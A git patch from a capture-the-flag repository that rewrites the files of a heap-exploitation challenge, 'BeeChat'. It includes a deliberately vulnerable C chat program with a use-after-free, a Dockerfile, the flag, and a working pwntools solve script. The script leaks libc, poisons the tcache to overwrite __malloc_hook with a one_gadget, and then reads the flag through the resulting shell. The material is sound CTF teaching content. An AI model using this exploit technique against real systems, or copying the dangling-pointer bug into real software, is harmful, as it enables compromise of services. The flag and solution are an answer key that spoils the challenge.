From 9af7f06a56eceb6c8f6f333f3f880081c158a6ef Mon Sep 17 00:00:00 2001 From: Ringoshiroku Date: Sat, 18 Oct 2025 21:22:38 +0700 Subject: [PATCH] changed filename --- Binary Exploitation/BeeChat/challenge.yml | 60 +-- Binary Exploitation/BeeChat/src/Dockerfile | 66 +-- Binary Exploitation/BeeChat/src/chall.c | 470 +++++++++--------- Binary Exploitation/BeeChat/src/compile.sh | 34 +- .../BeeChat/src/docker-compose.yml | 24 +- Binary Exploitation/BeeChat/src/extract.sh | 20 +- Binary Exploitation/BeeChat/src/flag.txt | 2 +- Binary Exploitation/BeeChat/src/solve.py | 232 ++++----- Binary Exploitation/BeeChat/src/start.sh | 2 +- .../{challenge.yaml => challenge.yml} | 0 10 files changed, 455 insertions(+), 455 deletions(-) rename Forensic/pt-kucing-empus/{challenge.yaml => challenge.yml} (100%) diff --git a/Binary Exploitation/BeeChat/challenge.yml b/Binary Exploitation/BeeChat/challenge.yml index 97fd502..073b459 100644 --- a/Binary Exploitation/BeeChat/challenge.yml +++ b/Binary Exploitation/BeeChat/challenge.yml @@ -1,30 +1,30 @@ -name: "BeeChat" -category: Binary Exploitation -description: |- - I'm making a cli based chatting system called BeeChat :D and yea it's not the same with BitChat. - - Author: Lyo - -connection_info: nc 31.97.187.222 31346 - -##### DON'T CHANGE -value: 500 -type: dynamic -extra: - initial: 500 - decay: 30 - minimum: 100 -##### DON'T CHANGE - -flags: - - BEECTF{0lder_v3rs1on_glibc_1s_eas1er_to_w0rk_wi7h_XD} - -tags: - - hard - -files: - - dist/chall.zip - -state: hidden - -version: "0.1" +name: "BeeChat" +category: Binary Exploitation +description: |- + I'm making a cli based chatting system called BeeChat :D and yea it's not the same with BitChat. + + Author: Lyo + +connection_info: nc 31.97.187.222 31346 + +##### DON'T CHANGE +value: 500 +type: dynamic +extra: + initial: 500 + decay: 30 + minimum: 100 +##### DON'T CHANGE + +flags: + - BEECTF{0lder_v3rs1on_glibc_1s_eas1er_to_w0rk_wi7h_XD} + +tags: + - hard + +files: + - dist/chall.zip + +state: hidden + +version: "0.1" diff --git a/Binary Exploitation/BeeChat/src/Dockerfile b/Binary Exploitation/BeeChat/src/Dockerfile index 2c56b8e..e750d8e 100644 --- a/Binary Exploitation/BeeChat/src/Dockerfile +++ b/Binary Exploitation/BeeChat/src/Dockerfile @@ -1,33 +1,33 @@ -# Use Ubuntu 18.04 as the base image for glibc 2.27 -FROM ubuntu:18.04 - -# Install the C compiler and build tools -RUN apt-get update && \ - apt-get install -y build-essential socat && \ - apt-get clean && rm -rf /var/lib/apt/lists/* - -# Set the working directory inside the container -WORKDIR /home/ctf - -# Copy the source code and the compile script -COPY chall.c /home/ctf/chall.c -COPY compile.sh /home/ctf/compile.sh -COPY flag.txt /home/ctf/flag.txt - -RUN chmod +x /home/ctf/compile.sh - -RUN /home/ctf/compile.sh - -RUN rm /home/ctf/compile.sh /home/ctf/chall.c - -RUN chmod 755 /home/ctf/chall && \ - chmod 444 /home/ctf/flag.txt && \ - chown root:root /home/ctf/flag.txt /home/ctf/chall - -RUN useradd -m ctf - -USER ctf - -EXPOSE 3135 - -ENTRYPOINT ["socat", "TCP-LISTEN:3135,reuseaddr,fork", "EXEC:/home/ctf/chall,stderr"] +# Use Ubuntu 18.04 as the base image for glibc 2.27 +FROM ubuntu:18.04 + +# Install the C compiler and build tools +RUN apt-get update && \ + apt-get install -y build-essential socat && \ + apt-get clean && rm -rf /var/lib/apt/lists/* + +# Set the working directory inside the container +WORKDIR /home/ctf + +# Copy the source code and the compile script +COPY chall.c /home/ctf/chall.c +COPY compile.sh /home/ctf/compile.sh +COPY flag.txt /home/ctf/flag.txt + +RUN chmod +x /home/ctf/compile.sh + +RUN /home/ctf/compile.sh + +RUN rm /home/ctf/compile.sh /home/ctf/chall.c + +RUN chmod 755 /home/ctf/chall && \ + chmod 444 /home/ctf/flag.txt && \ + chown root:root /home/ctf/flag.txt /home/ctf/chall + +RUN useradd -m ctf + +USER ctf + +EXPOSE 3135 + +ENTRYPOINT ["socat", "TCP-LISTEN:3135,reuseaddr,fork", "EXEC:/home/ctf/chall,stderr"] diff --git a/Binary Exploitation/BeeChat/src/chall.c b/Binary Exploitation/BeeChat/src/chall.c index 982ab1b..288e8ff 100644 --- a/Binary Exploitation/BeeChat/src/chall.c +++ b/Binary Exploitation/BeeChat/src/chall.c @@ -1,236 +1,236 @@ -#include -#include -#include -#include - -#define MAX_USERS 10 -#define MAX_MESSAGES 20 -#define MAX_BROADCASTS 20 -#define MAX_MSG_LEN 0x3f0 - -// --- Structs --- -typedef struct { - char *content; - size_t size; - int from_id; - int to_id; - int msg_id; -} Message; - -typedef struct { - char* content; - size_t size; - int original_msg_id; - int original_from_id; - int broadcaster_id; -} Broadcast; - -typedef struct { - char name[32]; - int user_id; -} User; - -// --- Globals --- -User *users[MAX_USERS] = {NULL}; -Message *messages[MAX_MESSAGES] = {NULL}; -Broadcast *broadcasts[MAX_BROADCASTS] = {NULL}; -int user_count = 0; -int message_count = 0; -int broadcast_count = 0; -int current_user_id = -1; - -// --- Utils --- -void setup() { - setvbuf(stdin, NULL, _IONBF, 0); - setvbuf(stdout, NULL, _IONBF, 0); - setvbuf(stderr, NULL, _IONBF, 0); -} - -int read_int() { - char buf[16]; - read(STDIN_FILENO, buf, 15); - return atoi(buf); -} - -// --- User Functions --- -void create_user() { - if (user_count >= MAX_USERS) { puts("Max users reached."); return; } - User *user = malloc(sizeof(User)); - printf("Username: "); - read(STDIN_FILENO, user->name, 31); - user->name[strcspn(user->name, "\n")] = 0; - user->user_id = user_count; - users[user_count++] = user; - printf("User '%s' created with ID %d.\n", user->name, user->user_id); -} - -void switch_user() { - printf("Enter User ID to switch to: "); - int id = read_int(); - if (id < 0 || id >= user_count) { puts("Invalid user ID."); return; } - current_user_id = id; - printf("Switched to user %s.\n", users[current_user_id]->name); -} - -// --- Message Functions --- -void send_message() { - if (current_user_id == -1) { puts("You must be logged in."); return; } - if (message_count >= MAX_MESSAGES) { puts("Message inbox is full."); return; } - - printf("Send to user ID: "); - int to_id = read_int(); - if (to_id < 0 || to_id >= user_count) { puts("Invalid recipient ID."); return; } - - printf("Size of message: "); - size_t size = read_int(); - if (size == 0 || size > MAX_MSG_LEN) { puts("Invalid size."); return; } - - Message *msg = malloc(sizeof(Message)); - msg->content = malloc(size); - msg->size = size; - msg->from_id = current_user_id; - msg->to_id = to_id; - msg->msg_id = message_count; - - printf("Content: "); - read(STDIN_FILENO, msg->content, size); - - messages[message_count++] = msg; - puts("Message sent."); -} - -void edit_message() { - printf("Message ID to edit: "); - int msg_id = read_int(); - if (msg_id < 0 || msg_id >= message_count || messages[msg_id] == NULL) { puts("Invalid message ID."); return; } - - Message *msg = messages[msg_id]; - if (msg->from_id != current_user_id) { puts("You can only edit your own original messages."); return; } - - printf("New content: "); - char temp_buf[MAX_MSG_LEN + 1] = {0}; - read(STDIN_FILENO, temp_buf, MAX_MSG_LEN); - size_t new_len = strlen(temp_buf); - - if (new_len > msg->size) { - char *new_content = realloc(msg->content, new_len); - if (!new_content) { puts("Reallocation failed."); return; } - msg->content = new_content; - msg->size = new_len; - } - memcpy(msg->content, temp_buf, new_len); - puts("Message edited."); -} - -void broadcast_message() { - if (broadcast_count >= MAX_BROADCASTS) { puts("Broadcast board is full."); return; } - - printf("Message ID to broadcast: "); - int msg_id = read_int(); - if (msg_id < 0 || msg_id >= message_count || messages[msg_id] == NULL) { puts("Invalid message ID."); return; } - - Message *original_msg = messages[msg_id]; - - if (original_msg->from_id != current_user_id && original_msg->to_id != current_user_id) { - puts("You can only broadcast messages you sent or received."); - return; - } - - Broadcast *bcast = malloc(sizeof(Broadcast)); - bcast->content = original_msg->content; // VULNERABILITY: Pointer to content is copied. - bcast->size = original_msg->size; - bcast->original_msg_id = original_msg->msg_id; - bcast->original_from_id = original_msg->from_id; - bcast->broadcaster_id = current_user_id; - - broadcasts[broadcast_count++] = bcast; - puts("Message broadcasted."); -} - -void edit_broadcast_message() { - printf("Broadcast Index to edit: "); - int bcast_idx = read_int(); - if (bcast_idx < 0 || bcast_idx >= broadcast_count || broadcasts[bcast_idx] == NULL) { puts("Invalid broadcast index."); return; } - - Broadcast *bcast = broadcasts[bcast_idx]; - if (bcast->broadcaster_id != current_user_id) { puts("This is not your broadcast."); return; } - - printf("New content for broadcast message: "); - // UAF Write: Writes through the (potentially dangling) content pointer - read(STDIN_FILENO, bcast->content, bcast->size); - puts("Broadcast message content overwritten."); -} - -void view_broadcasts() { - puts("--- Broadcast Board ---"); - for (int i = 0; i < broadcast_count; i++) { - Broadcast *bcast = broadcasts[i]; - if (bcast) { - printf("Broadcast Index: %d | Broadcast by: %d | Original Msg ID: %d\n", - i, bcast->broadcaster_id, bcast->original_msg_id); - printf("Content: %s\n", bcast->content); - puts("---------------------"); - } - } -} - -void view_conversation() { - if (current_user_id == -1) { puts("You must be logged in."); return; } - printf("View conversation with user ID: "); - int partner_id = read_int(); - if (partner_id < 0 || partner_id >= user_count) { puts("Invalid user ID."); return; } - - printf("--- Conversation with %s ---\n", users[partner_id]->name); - for (int i = 0; i < message_count; i++) { - Message *msg = messages[i]; - if (msg) { - if ((msg->from_id == current_user_id && msg->to_id == partner_id) || - (msg->from_id == partner_id && msg->to_id == current_user_id)) - { - printf("Msg ID: %d | From: %d | To: %d\n", msg->msg_id, msg->from_id, msg->to_id); - printf("Content: %s\n", msg->content); - puts("---------------------"); - } - } - } -} - -// --- Main Loop --- -void menu() { - puts("\n--- BeeChat ---"); - if (current_user_id != -1) { - printf("Logged in as: %s (ID: %d)\n", users[current_user_id]->name, current_user_id); - } - puts("1. Create User"); - puts("2. Switch User"); - puts("3. Send Message"); - puts("4. Edit Original Message"); - puts("5. Broadcast Message"); - puts("6. Edit Broadcast Message"); - puts("7. View Broadcasts"); - puts("8. View Conversation"); - puts("9. Exit"); - printf("> "); -} - -int main() { - setup(); - int choice; - while(1) { - menu(); - choice = read_int(); - switch(choice) { - case 1: create_user(); break; - case 2: switch_user(); break; - case 3: send_message(); break; - case 4: edit_message(); break; - case 5: broadcast_message(); break; - case 6: edit_broadcast_message(); break; - case 7: view_broadcasts(); break; - case 8: view_conversation(); break; - case 9: exit(0); - default: puts("Invalid choice."); break; - } - } - return 0; +#include +#include +#include +#include + +#define MAX_USERS 10 +#define MAX_MESSAGES 20 +#define MAX_BROADCASTS 20 +#define MAX_MSG_LEN 0x3f0 + +// --- Structs --- +typedef struct { + char *content; + size_t size; + int from_id; + int to_id; + int msg_id; +} Message; + +typedef struct { + char* content; + size_t size; + int original_msg_id; + int original_from_id; + int broadcaster_id; +} Broadcast; + +typedef struct { + char name[32]; + int user_id; +} User; + +// --- Globals --- +User *users[MAX_USERS] = {NULL}; +Message *messages[MAX_MESSAGES] = {NULL}; +Broadcast *broadcasts[MAX_BROADCASTS] = {NULL}; +int user_count = 0; +int message_count = 0; +int broadcast_count = 0; +int current_user_id = -1; + +// --- Utils --- +void setup() { + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); +} + +int read_int() { + char buf[16]; + read(STDIN_FILENO, buf, 15); + return atoi(buf); +} + +// --- User Functions --- +void create_user() { + if (user_count >= MAX_USERS) { puts("Max users reached."); return; } + User *user = malloc(sizeof(User)); + printf("Username: "); + read(STDIN_FILENO, user->name, 31); + user->name[strcspn(user->name, "\n")] = 0; + user->user_id = user_count; + users[user_count++] = user; + printf("User '%s' created with ID %d.\n", user->name, user->user_id); +} + +void switch_user() { + printf("Enter User ID to switch to: "); + int id = read_int(); + if (id < 0 || id >= user_count) { puts("Invalid user ID."); return; } + current_user_id = id; + printf("Switched to user %s.\n", users[current_user_id]->name); +} + +// --- Message Functions --- +void send_message() { + if (current_user_id == -1) { puts("You must be logged in."); return; } + if (message_count >= MAX_MESSAGES) { puts("Message inbox is full."); return; } + + printf("Send to user ID: "); + int to_id = read_int(); + if (to_id < 0 || to_id >= user_count) { puts("Invalid recipient ID."); return; } + + printf("Size of message: "); + size_t size = read_int(); + if (size == 0 || size > MAX_MSG_LEN) { puts("Invalid size."); return; } + + Message *msg = malloc(sizeof(Message)); + msg->content = malloc(size); + msg->size = size; + msg->from_id = current_user_id; + msg->to_id = to_id; + msg->msg_id = message_count; + + printf("Content: "); + read(STDIN_FILENO, msg->content, size); + + messages[message_count++] = msg; + puts("Message sent."); +} + +void edit_message() { + printf("Message ID to edit: "); + int msg_id = read_int(); + if (msg_id < 0 || msg_id >= message_count || messages[msg_id] == NULL) { puts("Invalid message ID."); return; } + + Message *msg = messages[msg_id]; + if (msg->from_id != current_user_id) { puts("You can only edit your own original messages."); return; } + + printf("New content: "); + char temp_buf[MAX_MSG_LEN + 1] = {0}; + read(STDIN_FILENO, temp_buf, MAX_MSG_LEN); + size_t new_len = strlen(temp_buf); + + if (new_len > msg->size) { + char *new_content = realloc(msg->content, new_len); + if (!new_content) { puts("Reallocation failed."); return; } + msg->content = new_content; + msg->size = new_len; + } + memcpy(msg->content, temp_buf, new_len); + puts("Message edited."); +} + +void broadcast_message() { + if (broadcast_count >= MAX_BROADCASTS) { puts("Broadcast board is full."); return; } + + printf("Message ID to broadcast: "); + int msg_id = read_int(); + if (msg_id < 0 || msg_id >= message_count || messages[msg_id] == NULL) { puts("Invalid message ID."); return; } + + Message *original_msg = messages[msg_id]; + + if (original_msg->from_id != current_user_id && original_msg->to_id != current_user_id) { + puts("You can only broadcast messages you sent or received."); + return; + } + + Broadcast *bcast = malloc(sizeof(Broadcast)); + bcast->content = original_msg->content; // VULNERABILITY: Pointer to content is copied. + bcast->size = original_msg->size; + bcast->original_msg_id = original_msg->msg_id; + bcast->original_from_id = original_msg->from_id; + bcast->broadcaster_id = current_user_id; + + broadcasts[broadcast_count++] = bcast; + puts("Message broadcasted."); +} + +void edit_broadcast_message() { + printf("Broadcast Index to edit: "); + int bcast_idx = read_int(); + if (bcast_idx < 0 || bcast_idx >= broadcast_count || broadcasts[bcast_idx] == NULL) { puts("Invalid broadcast index."); return; } + + Broadcast *bcast = broadcasts[bcast_idx]; + if (bcast->broadcaster_id != current_user_id) { puts("This is not your broadcast."); return; } + + printf("New content for broadcast message: "); + // UAF Write: Writes through the (potentially dangling) content pointer + read(STDIN_FILENO, bcast->content, bcast->size); + puts("Broadcast message content overwritten."); +} + +void view_broadcasts() { + puts("--- Broadcast Board ---"); + for (int i = 0; i < broadcast_count; i++) { + Broadcast *bcast = broadcasts[i]; + if (bcast) { + printf("Broadcast Index: %d | Broadcast by: %d | Original Msg ID: %d\n", + i, bcast->broadcaster_id, bcast->original_msg_id); + printf("Content: %s\n", bcast->content); + puts("---------------------"); + } + } +} + +void view_conversation() { + if (current_user_id == -1) { puts("You must be logged in."); return; } + printf("View conversation with user ID: "); + int partner_id = read_int(); + if (partner_id < 0 || partner_id >= user_count) { puts("Invalid user ID."); return; } + + printf("--- Conversation with %s ---\n", users[partner_id]->name); + for (int i = 0; i < message_count; i++) { + Message *msg = messages[i]; + if (msg) { + if ((msg->from_id == current_user_id && msg->to_id == partner_id) || + (msg->from_id == partner_id && msg->to_id == current_user_id)) + { + printf("Msg ID: %d | From: %d | To: %d\n", msg->msg_id, msg->from_id, msg->to_id); + printf("Content: %s\n", msg->content); + puts("---------------------"); + } + } + } +} + +// --- Main Loop --- +void menu() { + puts("\n--- BeeChat ---"); + if (current_user_id != -1) { + printf("Logged in as: %s (ID: %d)\n", users[current_user_id]->name, current_user_id); + } + puts("1. Create User"); + puts("2. Switch User"); + puts("3. Send Message"); + puts("4. Edit Original Message"); + puts("5. Broadcast Message"); + puts("6. Edit Broadcast Message"); + puts("7. View Broadcasts"); + puts("8. View Conversation"); + puts("9. Exit"); + printf("> "); +} + +int main() { + setup(); + int choice; + while(1) { + menu(); + choice = read_int(); + switch(choice) { + case 1: create_user(); break; + case 2: switch_user(); break; + case 3: send_message(); break; + case 4: edit_message(); break; + case 5: broadcast_message(); break; + case 6: edit_broadcast_message(); break; + case 7: view_broadcasts(); break; + case 8: view_conversation(); break; + case 9: exit(0); + default: puts("Invalid choice."); break; + } + } + return 0; } \ No newline at end of file diff --git a/Binary Exploitation/BeeChat/src/compile.sh b/Binary Exploitation/BeeChat/src/compile.sh index 221664d..2fc1343 100755 --- a/Binary Exploitation/BeeChat/src/compile.sh +++ b/Binary Exploitation/BeeChat/src/compile.sh @@ -1,17 +1,17 @@ -#!/bin/bash - -# This script compiles chall.c with full security mitigations. - -GCC_FLAGS=( - "-fPIE" # Position-Independent Executable - "-pie" # Link as PIE - "-fstack-protector-all" # Enable stack canaries for all functions - "-Wl,-z,relro,-z,now" # Full RELRO - "-Wl,-z,noexecstack" # Non-executable stack -) - -gcc -o chall chall.c "${GCC_FLAGS[@]}" - -echo "[+] Compilation complete! Output file: chall_secure" -echo "[*] Note: The binary is linked against your system's default libc." -echo "[*] To link against glibc-2.27, run this script inside the Ubuntu 18.04 Docker container." +#!/bin/bash + +# This script compiles chall.c with full security mitigations. + +GCC_FLAGS=( + "-fPIE" # Position-Independent Executable + "-pie" # Link as PIE + "-fstack-protector-all" # Enable stack canaries for all functions + "-Wl,-z,relro,-z,now" # Full RELRO + "-Wl,-z,noexecstack" # Non-executable stack +) + +gcc -o chall chall.c "${GCC_FLAGS[@]}" + +echo "[+] Compilation complete! Output file: chall_secure" +echo "[*] Note: The binary is linked against your system's default libc." +echo "[*] To link against glibc-2.27, run this script inside the Ubuntu 18.04 Docker container." diff --git a/Binary Exploitation/BeeChat/src/docker-compose.yml b/Binary Exploitation/BeeChat/src/docker-compose.yml index bc15802..1f98a24 100644 --- a/Binary Exploitation/BeeChat/src/docker-compose.yml +++ b/Binary Exploitation/BeeChat/src/docker-compose.yml @@ -1,12 +1,12 @@ -services: - beechat: - build: . - image: beechat - restart: unless-stopped - environment: - - TERM=xterm - ulimits: - nproc: 65535 - core: 0 - ports: - - "31346:3135" +services: + beechat: + build: . + image: beechat + restart: unless-stopped + environment: + - TERM=xterm + ulimits: + nproc: 65535 + core: 0 + ports: + - "31346:3135" diff --git a/Binary Exploitation/BeeChat/src/extract.sh b/Binary Exploitation/BeeChat/src/extract.sh index 1544c35..b6789a7 100755 --- a/Binary Exploitation/BeeChat/src/extract.sh +++ b/Binary Exploitation/BeeChat/src/extract.sh @@ -1,10 +1,10 @@ -docker system prune -docker build -t chall-builder . -docker create --name temp-container chall-builder -docker cp temp-container:/app/chall . -docker cp temp-container:/lib/x86_64-linux-gnu/libc-2.27.so . -docker cp temp-container:/lib/x86_64-linux-gnu/ld-2.27.so . -docker rm temp-container - -mv libc-2.27.so libc.so.6 -mv ld-2.27.so ld-linux-x86-64.so.2 +docker system prune +docker build -t chall-builder . +docker create --name temp-container chall-builder +docker cp temp-container:/app/chall . +docker cp temp-container:/lib/x86_64-linux-gnu/libc-2.27.so . +docker cp temp-container:/lib/x86_64-linux-gnu/ld-2.27.so . +docker rm temp-container + +mv libc-2.27.so libc.so.6 +mv ld-2.27.so ld-linux-x86-64.so.2 diff --git a/Binary Exploitation/BeeChat/src/flag.txt b/Binary Exploitation/BeeChat/src/flag.txt index 6156f38..2cf4392 100644 --- a/Binary Exploitation/BeeChat/src/flag.txt +++ b/Binary Exploitation/BeeChat/src/flag.txt @@ -1 +1 @@ -BEECTF{0lder_v3rs1on_glibc_1s_eas1er_to_w0rk_wi7h_XD} +BEECTF{0lder_v3rs1on_glibc_1s_eas1er_to_w0rk_wi7h_XD} diff --git a/Binary Exploitation/BeeChat/src/solve.py b/Binary Exploitation/BeeChat/src/solve.py index a0d8f33..1d2c6b1 100755 --- a/Binary Exploitation/BeeChat/src/solve.py +++ b/Binary Exploitation/BeeChat/src/solve.py @@ -1,116 +1,116 @@ -#!/usr/bin/env python3 - -from pwn import * - -elf = ELF("./chall") -libc = ELF("./libc.so.6") -ld = ELF("./ld-linux-x86-64.so.2") - -context.binary = elf -context.log_level = "info" -context.terminal = ["tmux", "splitw", "-h", "-p", "65"] - -# --- Exploit Configuration --- -LEAK_CHUNK_SIZE = 0x90 -POISON_CHUNK_SIZE = 0x18 - -# --- GDB Script --- -gdb_script = """ - b *main - continue - """.format(**locals()) - -# --- Process/Remote Connection --- -def start(argv=[], *a, **kw): - if args.GDB: - return gdb.debug([ld.path, elf.path] + argv, gdbscript=gdb_script, *a, **kw) - elif args.REMOTE: - return remote("localhost", 31346) - else: - return process([ld.path, elf.path] + argv, *a, **kw) - -# --- Helper Functions for New Menu --- -def send_choice(choice): - r.sendlineafter(b"> ", str(choice).encode()) - -def create_user(name): - send_choice(1) - r.sendlineafter(b"Username: ", name) - -def switch_user(user_id): - send_choice(2) - r.sendlineafter(b"Enter User ID to switch to: ", str(user_id).encode()) - -def send_message(to_id, size, content): - send_choice(3) - r.sendlineafter(b"Send to user ID: ", str(to_id).encode()) - r.sendlineafter(b"Size of message: ", str(size).encode()) - r.sendafter(b"Content: ", content.ljust(size, b'\0')) - -def edit_message(msg_id, new_content): - send_choice(4) - r.sendlineafter(b"Message ID to edit: ", str(msg_id).encode()) - r.sendafter(b"New content: ", new_content) - -def broadcast_message(msg_id): - send_choice(5) - r.sendlineafter(b"Message ID to broadcast: ", str(msg_id).encode()) - -def edit_broadcast_message(bcast_idx, new_content): - send_choice(6) - r.sendlineafter(b"Broadcast Index to edit: ", str(bcast_idx).encode()) - r.sendafter(b"New content for broadcast message: ", new_content) - -def view_broadcasts(): - send_choice(7) - -def view_conversation(partner_id): - send_choice(8) - r.sendlineafter(b"View conversation with user ID: ", str(partner_id).encode()) - - -def main(): - global r - r = start() - - create_user(b"UserA") - create_user(b"UserB") - - # LEAK LIBC ADDR - switch_user(0) - for i in range(8): - send_message(1, LEAK_CHUNK_SIZE, f"libc_leak_{i}".encode()) - - broadcast_message(7) - - for i in range(8): - edit_message(i, b"A" * (LEAK_CHUNK_SIZE + 0x10)) - - view_broadcasts() - r.recvuntil(b"Original Msg ID: 7") - r.recvuntil(b"Content: ") - leak_addr = u64(r.recvline().strip().ljust(8, b'\x00')) - libc.address = leak_addr - (libc.symbols['__malloc_hook'] + 0x70) - - log.success(f"LIBC : {hex(libc.address)}") - - # EXPLOIT : TCACHE POISONING - one_gadget = libc.address + 0x4f302 - send_message(1, POISON_CHUNK_SIZE, b"poison_A") - send_message(1, POISON_CHUNK_SIZE, b"poison_B") - - broadcast_message(9) - edit_message(9, b"B" * (POISON_CHUNK_SIZE + 0x10)) - - edit_broadcast_message(1, p64(libc.sym['__malloc_hook'])) - - send_message(1, POISON_CHUNK_SIZE, b"wasted") - send_message(1, POISON_CHUNK_SIZE, p64(one_gadget)) - - r.sendlineafter(b"> ", b"1") - r.sendline(b"cat flag.txt") - - r.interactive() - -if __name__ == "__main__": - main() +#!/usr/bin/env python3 + +from pwn import * + +elf = ELF("./chall") +libc = ELF("./libc.so.6") +ld = ELF("./ld-linux-x86-64.so.2") + +context.binary = elf +context.log_level = "info" +context.terminal = ["tmux", "splitw", "-h", "-p", "65"] + +# --- Exploit Configuration --- +LEAK_CHUNK_SIZE = 0x90 +POISON_CHUNK_SIZE = 0x18 + +# --- GDB Script --- +gdb_script = """ + b *main + continue + """.format(**locals()) + +# --- Process/Remote Connection --- +def start(argv=[], *a, **kw): + if args.GDB: + return gdb.debug([ld.path, elf.path] + argv, gdbscript=gdb_script, *a, **kw) + elif args.REMOTE: + return remote("localhost", 31346) + else: + return process([ld.path, elf.path] + argv, *a, **kw) + +# --- Helper Functions for New Menu --- +def send_choice(choice): + r.sendlineafter(b"> ", str(choice).encode()) + +def create_user(name): + send_choice(1) + r.sendlineafter(b"Username: ", name) + +def switch_user(user_id): + send_choice(2) + r.sendlineafter(b"Enter User ID to switch to: ", str(user_id).encode()) + +def send_message(to_id, size, content): + send_choice(3) + r.sendlineafter(b"Send to user ID: ", str(to_id).encode()) + r.sendlineafter(b"Size of message: ", str(size).encode()) + r.sendafter(b"Content: ", content.ljust(size, b'\0')) + +def edit_message(msg_id, new_content): + send_choice(4) + r.sendlineafter(b"Message ID to edit: ", str(msg_id).encode()) + r.sendafter(b"New content: ", new_content) + +def broadcast_message(msg_id): + send_choice(5) + r.sendlineafter(b"Message ID to broadcast: ", str(msg_id).encode()) + +def edit_broadcast_message(bcast_idx, new_content): + send_choice(6) + r.sendlineafter(b"Broadcast Index to edit: ", str(bcast_idx).encode()) + r.sendafter(b"New content for broadcast message: ", new_content) + +def view_broadcasts(): + send_choice(7) + +def view_conversation(partner_id): + send_choice(8) + r.sendlineafter(b"View conversation with user ID: ", str(partner_id).encode()) + + +def main(): + global r + r = start() + + create_user(b"UserA") + create_user(b"UserB") + + # LEAK LIBC ADDR + switch_user(0) + for i in range(8): + send_message(1, LEAK_CHUNK_SIZE, f"libc_leak_{i}".encode()) + + broadcast_message(7) + + for i in range(8): + edit_message(i, b"A" * (LEAK_CHUNK_SIZE + 0x10)) + + view_broadcasts() + r.recvuntil(b"Original Msg ID: 7") + r.recvuntil(b"Content: ") + leak_addr = u64(r.recvline().strip().ljust(8, b'\x00')) + libc.address = leak_addr - (libc.symbols['__malloc_hook'] + 0x70) + + log.success(f"LIBC : {hex(libc.address)}") + + # EXPLOIT : TCACHE POISONING + one_gadget = libc.address + 0x4f302 + send_message(1, POISON_CHUNK_SIZE, b"poison_A") + send_message(1, POISON_CHUNK_SIZE, b"poison_B") + + broadcast_message(9) + edit_message(9, b"B" * (POISON_CHUNK_SIZE + 0x10)) + + edit_broadcast_message(1, p64(libc.sym['__malloc_hook'])) + + send_message(1, POISON_CHUNK_SIZE, b"wasted") + send_message(1, POISON_CHUNK_SIZE, p64(one_gadget)) + + r.sendlineafter(b"> ", b"1") + r.sendline(b"cat flag.txt") + + r.interactive() + +if __name__ == "__main__": + main() diff --git a/Binary Exploitation/BeeChat/src/start.sh b/Binary Exploitation/BeeChat/src/start.sh index 58923cc..5feb6db 100755 --- a/Binary Exploitation/BeeChat/src/start.sh +++ b/Binary Exploitation/BeeChat/src/start.sh @@ -1 +1 @@ -docker-compose down -v --rmi all; docker-compose up --build -d --force-recreate +docker-compose down -v --rmi all; docker-compose up --build -d --force-recreate diff --git a/Forensic/pt-kucing-empus/challenge.yaml b/Forensic/pt-kucing-empus/challenge.yml similarity index 100% rename from Forensic/pt-kucing-empus/challenge.yaml rename to Forensic/pt-kucing-empus/challenge.yml